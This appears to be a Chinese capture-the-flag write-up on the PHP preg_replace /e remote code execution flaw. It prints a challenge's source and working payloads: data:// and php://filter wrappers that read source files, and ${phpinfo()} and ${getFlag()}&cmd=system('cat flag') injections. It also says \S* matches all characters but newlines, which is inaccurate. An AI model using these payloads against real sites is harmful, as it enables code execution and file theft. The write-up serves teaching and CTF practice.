preg_replace远程执行漏洞

preg_replace远程执行漏洞

当打开页面时,会看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

看到这判断时

1
file_get_contents($text,'r')==="I have a dream"

可知,我们的$text里要有 I have a dream,而看到

1
preg_match("/flag/",$file);

可知,我们的$file中不能有flag关键字,但是有提示next.php,因此我们可以使用data伪协议和php伪协议,构造payload

1
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

而后我们通过base64解码,可以看见next.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

通过看见代码

1
2
3
4
5
6
7
8
9
10
11
12
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

我们可以想到preg_replace的远程执行漏洞,因此可以构造payload

1
?.*=${phpinfo()}

但不可以显示,因为“.*”被转义为“_*”,因此使用payload

1
?\S*=${phpinfo()}

而按照next.php的代码,可以利用getFlag()函数里的eval(),因此我们可以构造payload来调用getFlag()函数

1
?\S*=${getFlag()}&cmd=system('cat flag');

preg_replace远程执行漏洞

preg_replace()函数是/e模式时,当匹配成功后,会对替换部分用eval()进行代码的执行

1
2
3
4
5
<?php 

preg_replace("/test/e",$_GET["hack"],"just test");

?>

当我们构造payload

1
?hack=phpinfo();

因为test会与”just test”中的test相匹配进行替换,所以会对替换部分”phpinfo();”进行代码执行

1
eval(phpinfo();)

而防止这个情况发生,现在的代码为

1
2
3
4
5
6
7
8
9
10
11
12
<?php

function complexStrtolower($regex,$value){
return preg_replace('/('.$regex.')/ei','strtolower("\\1")',$value);

}

foreach ($_GET as $regex=>$value){
echo complexStrtolower($regex,$value)."\n";

}
?>

可以看到,此时我们可以控制的变量只有两个,而替换部分不是我们可以控制的量,已经变成了

1
strtolower("\\1")

因此,我们要办法利用替换部分来执行我们的代码,但是当我们preg_replace()匹配成功后,会以eval(‘strtolower(“\1”);’)代码的形式执行,而其中\1实际为\1,而\1在正则表达式中有自己的含义

1
2
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

这里的\1实际上指定的是第一个子匹配项,而

1
2
3
preg_replace('/(\S*)/ei','strtolower("\\1")',"${phpinfo()}");
``
的第一匹配项为${phpinfo()},而其中

”\S*“相当于是除了换行符以外的所有字符串

”.*“相当于是除了换行符以外的所有字符串

1
因此判断项可以使用”\S*“或”.*“匹配输入的字符串,从而使替换部分可以进行代码执行,因此可以按以上的代码构造payload

?.*=${phpinfo()}

?\S*=${phpinfo()}

1
会返回php的版本,而${phpinfo()}这条代码,构造

?\w+=${phpinfo()}

也可以执行,但是”.*“一般在get提交时被转义为”_*“,所以会用”S*“来代替

详细请看:https://xz.aliyun.com/t/2557”